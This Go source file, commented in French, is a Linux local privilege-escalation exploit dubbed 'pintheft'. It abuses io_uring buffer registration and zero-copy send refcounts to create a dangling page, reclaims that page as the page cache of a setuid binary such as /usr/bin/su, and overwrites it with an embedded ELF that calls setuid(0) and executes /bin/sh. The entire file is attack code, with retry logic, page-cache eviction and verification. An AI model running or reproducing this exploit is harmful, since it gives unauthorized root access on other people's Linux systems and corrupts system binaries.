package main import ( "encoding/binary" "fmt" "os" "runtime" "syscall" "time" "unsafe" ) const ( targetPath = "/usr/bin/su" gupPinCountingBias = 1024 maxRetries = 5 ) var shellELF = []byte{ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0xdb, 0xff, 0xff, 0xff, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05, } var suidCandidates = []string{ "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", "/usr/bin/chsh", "/usr/bin/newgrp", "/usr/bin/umount", "/usr/bin/pkexec", } func logf(format string, args ...any) { fmt.Fprintf(os.Stderr, "\033[1;36m[*]\033[0m "+format+"\n", args...) } func okf(format string, args ...any) { fmt.Fprintf(os.Stderr, "\033[1;32m[+]\033[0m "+format+"\n", args...) } func errf(format string, args ...any) { fmt.Fprintf(os.Stderr, "\033[1;31m[-]\033[0m "+format+"\n", args...) } // getPagePFN retourne le page frame number d'une adresse virtuelle via pagemap. // Retourne 0 si la page n'est pas presente ou en cas d'erreur. func getPagePFN(va uintptr) uint64 { f, err := os.Open("/proc/self/pagemap") if err != nil { return 0 } defer f.Close() idx := va / pageSize buf := make([]byte, 8) if _, err := f.ReadAt(buf, int64(idx*8)); err != nil { return 0 } entry := binary.LittleEndian.Uint64(buf) if entry&(1<<63) == 0 { return 0 } return entry & ((1 << 55) - 1) } // getSuPageCachePFN mmap su en MAP_SHARED et lit le PFN via pagemap. func getSuPageCachePFN(target string) uint64 { fd, _, errno := syscall.RawSyscall(syscall.SYS_OPEN, func() uintptr { p, _ := syscall.BytePtrFromString(target) return uintptr(unsafe.Pointer(p)) }(), syscall.O_RDONLY, 0) if errno != 0 { return 0 } defer syscall.Close(int(fd)) addr, _, errno := syscall.RawSyscall6(syscall.SYS_MMAP, 0, pageSize, syscall.PROT_READ, syscall.MAP_SHARED, fd, 0) if errno != 0 { return 0 } // touch pour s'assurer que la page est dans le page table _ = *(*byte)(unsafe.Pointer(addr)) pfn := getPagePFN(addr) syscall.RawSyscall(syscall.SYS_MUNMAP, addr, pageSize, 0) return pfn } func pinCPU(cpu int) error { // sched_setaffinity(0, sizeof(cpu_set_t)=128, &set) var set [128]byte set[cpu/8] |= 1 << (uint(cpu) % 8) _, _, errno := syscall.RawSyscall(syscall.SYS_SCHED_SETAFFINITY, 0, 128, uintptr(unsafe.Pointer(&set[0]))) if errno != 0 { return fmt.Errorf("sched_setaffinity: %w", errno) } return nil } func findSuidTarget() string { for _, p := range suidCandidates { var st syscall.Stat_t if err := syscall.Stat(p, &st); err == nil && st.Mode&syscall.S_ISUID != 0 { okf("found suid target: %s", p) return p } } return "" } func backupTarget(path string) (string, error) { backup := fmt.Sprintf("/tmp/.backup_pintheft_%d", os.Getpid()) logf("backing up %s -> %s", path, backup) src, err := os.Open(path) if err != nil { return "", err } defer src.Close() dst, err := os.OpenFile(backup, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0755) if err != nil { return "", err } defer dst.Close() buf := make([]byte, 65536) for { n, err := src.Read(buf) if n > 0 { dst.Write(buf[:n]) } if err != nil { break } } okf("backup: %s", backup) return backup, nil } func evictPageCache(path string) error { fd, err := os.Open(path) if err != nil { return err } defer fd.Close() // posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED=4) _, _, errno := syscall.Syscall6(syscall.SYS_FADVISE64, fd.Fd(), 0, pageSize, 4, 0, 0) if errno != 0 { return fmt.Errorf("fadvise: %w", errno) } return nil } func createPayloadFile() (*os.File, error) { f, err := os.CreateTemp("", ".payload_pintheft_*") if err != nil { return nil, err } os.Remove(f.Name()) page := make([]byte, pageSize) copy(page, shellELF) if _, err := f.Write(page); err != nil { f.Close() return nil, err } return f, nil } func spawnRingHolder(ring2Fd int) (int, error) { pid, _, errno := syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) if errno != 0 { return 0, fmt.Errorf("fork: %w", errno) } if pid != 0 { return int(pid), nil } // child: hold ring2Fd, exec sleep syscall.RawSyscall(syscall.SYS_FCNTL, uintptr(ring2Fd), syscall.F_SETFD, 0) for fd := 0; fd < 1024; fd++ { if fd != ring2Fd { syscall.Close(fd) } } null, _ := syscall.Open("/dev/null", syscall.O_RDONLY, 0) _ = null null, _ = syscall.Open("/dev/null", syscall.O_WRONLY, 0) _ = null null, _ = syscall.Open("/dev/null", syscall.O_WRONLY, 0) _ = null syscall.Exec("/bin/sleep", []string{"sleep", "99999"}, []string{}) syscall.Exit(0) return 0, nil } func mmapAnon(size uintptr, prot int) (uintptr, error) { addr, _, errno := syscall.RawSyscall6(syscall.SYS_MMAP, 0, size, uintptr(prot), syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS, ^uintptr(0), 0) if errno != 0 { return 0, fmt.Errorf("mmap: %w", errno) } return addr, nil } func attemptExploit(target string) (int, error) { runtime.LockOSThread() defer runtime.UnlockOSThread() logf("=== exploit attempt ===") // 1. mmap page + PROT_NONE guard buf, err := mmapAnon(2*pageSize, syscall.PROT_READ|syscall.PROT_WRITE) if err != nil { return 0, err } // touch page *(*byte)(unsafe.Pointer(buf)) = 'A' // guard page if _, _, errno := syscall.RawSyscall(syscall.SYS_MPROTECT, buf+pageSize, pageSize, syscall.PROT_NONE); errno != 0 { syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, fmt.Errorf("mprotect guard: %w", errno) } okf("buf=%#x guard=%#x", buf, buf+pageSize) // 2. io_uring setup + REGISTER_BUFFERS ring, err := uringSetup(4) if err != nil { syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, err } if err := uringRegisterBuffers(ring, buf, pageSize); err != nil { uringDestroy(ring) syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, err } okf("buffers registered (refcnt +%d)", gupPinCountingBias) // 2b. clone to ring2 + daemon ring2, err := uringSetup(1) if err != nil { uringDestroy(ring) syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, err } if err := uringCloneBuffers(ring2, ring); err != nil { uringDestroy(ring2) uringDestroy(ring) syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, err } okf("cloned to ring2 (imu->refs=2)") daemon, err := spawnRingHolder(ring2.fd) if err != nil { uringDestroy(ring2) uringDestroy(ring) syscall.Munmap((*[1 << 30]byte)(unsafe.Pointer(buf))[:2*pageSize]) return 0, err } uringDestroy(ring2) // parent closes ring2, daemon holds it okf("daemon pid=%d holds ring2", daemon) // 3. steal 1024 refs via failing zcopy sends logf("stealing %d refcounts...", gupPinCountingBias) stolen := 0 for i := 0; i < gupPinCountingBias; i++ { port := portBase + i*2 errno := stealOneRef(buf, port) if i < 3 { logf(" stealOneRef[%d] sendmsg errno=%d (%v)", i, errno, errno) } if errno == 0 || errno == syscall.EAGAIN || errno == syscall.EFAULT || errno == syscall.ENOBUFS || errno == syscall.ECONNREFUSED { stolen++ } if stolen%256 == 0 && stolen > 0 { logf(" stolen %d/%d", stolen, gupPinCountingBias) } } logf("stole %d/%d refs (refcnt ~%d)", stolen, gupPinCountingBias, 1025-stolen) if stolen < gupPinCountingBias-10 { errf("insufficient steals (%d/%d), aborting", stolen, gupPinCountingBias) uringDestroy(ring) return daemon, fmt.Errorf("insufficient steals: %d/%d", stolen, gupPinCountingBias) } // 4. evict target page cache logf("evicting %s page cache...", target) if err := evictPageCache(target); err != nil { errf("fadvise: %v", err) } else { okf("page cache evicted") } // Pre-open target BEFORE drain so open() doesn't run between munmap/pread targetBytes, _ := syscall.BytePtrFromString(target) rawTfd, _, errno2 := syscall.RawSyscall(syscall.SYS_OPEN, uintptr(unsafe.Pointer(targetBytes)), syscall.O_RDONLY, 0) if errno2 != 0 { uringDestroy(ring) return daemon, fmt.Errorf("open target: %w", errno2) } verifyBuf := make([]byte, pageSize) // 5. drain PCP (512 pages avec MAP_POPULATE) logf("draining PCP...") const drainCount = 512 drainPages := make([]uintptr, drainCount) for i := range drainPages { addr, _, _ := syscall.RawSyscall6(syscall.SYS_MMAP, 0, pageSize, syscall.PROT_READ|syscall.PROT_WRITE, syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS|syscall.MAP_POPULATE, ^uintptr(0), 0) drainPages[i] = addr } // PFN de buf avant liberation bufPFN := getPagePFN(buf) logf("buf PFN avant munmap = %d (0x%x)", bufPFN, bufPFN) // Section critique : munmap puis pread en raw syscalls consecutifs // Aucun appel Go entre les deux pour eviter que le runtime vole notre page du PCP logf("munmap + pread (section critique)...") syscall.RawSyscall(syscall.SYS_MUNMAP, buf, pageSize, 0) syscall.RawSyscall6(syscall.SYS_PREAD64, rawTfd, uintptr(unsafe.Pointer(&verifyBuf[0])), pageSize, 0, 0, 0) syscall.RawSyscall(syscall.SYS_CLOSE, rawTfd, 0, 0) // PFN du page cache de su apres pread suPFN := getSuPageCachePFN(target) logf("su page cache PFN = %d (0x%x)", suPFN, suPFN) if bufPFN != 0 && suPFN != 0 { if bufPFN == suPFN { okf("PFN MATCH - notre page est bien le page cache de su!") } else { errf("PFN MISMATCH - buf=%d su=%d - PCP LIFO a echoue", bufPFN, suPFN) } } okf("page freed + page cache reclaimed") // free drain pages APRES la reclamation for _, dp := range drainPages { if dp != 0 { syscall.RawSyscall(syscall.SYS_MUNMAP, dp, pageSize, 0) } } // snapshot avant overwrite (lecture separee) before := make([]byte, 64) if snap, err2 := os.Open(target); err2 == nil { snap.ReadAt(before, 0) snap.Close() } logf("page[0..63] before: %x", before[:16]) // 8. create payload file payloadFile, err := createPayloadFile() if err != nil { uringDestroy(ring) return daemon, err } // 9. READ_FIXED - write payload via dangling bvec logf("submitting IORING_OP_READ_FIXED...") if err := uringSubmitReadFixed(ring, int(payloadFile.Fd()), buf, pageSize); err != nil { payloadFile.Close() uringDestroy(ring) return daemon, err } res, err := uringWaitCQE(ring) payloadFile.Close() if err != nil { uringDestroy(ring) return daemon, err } if res < 0 { uringDestroy(ring) return daemon, fmt.Errorf("READ_FIXED CQE error: %d", res) } okf("READ_FIXED: %d bytes written via dangling bvec", res) // 10. verify logf("verifying overwrite...") check := make([]byte, len(shellELF)) tfd2, err := os.Open(target) if err != nil { uringDestroy(ring) return daemon, err } tfd2.ReadAt(check, 0) tfd2.Close() for i, b := range shellELF { if check[i] != b { uringDestroy(ring) return daemon, fmt.Errorf("verify failed at byte %d: got %02x want %02x", i, check[i], b) } } okf("verification PASSED - page cache overwritten") uringDestroy(ring) return daemon, nil } func runLPE() (bool, []int) { if err := pinCPU(0); err != nil { errf("pin cpu: %v", err) } else { logf("pinned to CPU 0") } target := findSuidTarget() if target == "" { errf("no suid binary found") return false, nil } backup, err := backupTarget(target) if err != nil { errf("backup failed: %v", err) return false, nil } _ = backup var daemons []int for attempt := 0; attempt < maxRetries; attempt++ { logf("attempt %d/%d", attempt+1, maxRetries) daemon, err := attemptExploit(target) if daemon > 0 { daemons = append(daemons, daemon) } if err == nil { fmt.Fprintf(os.Stderr, "\n\033[1;33m=== RESTORE: sudo cp %s %s && sudo chmod u+s %s ===\033[0m\n", backup, target, target) return true, daemons } errf("attempt %d: %v", attempt+1, err) time.Sleep(time.Second) } return false, daemons }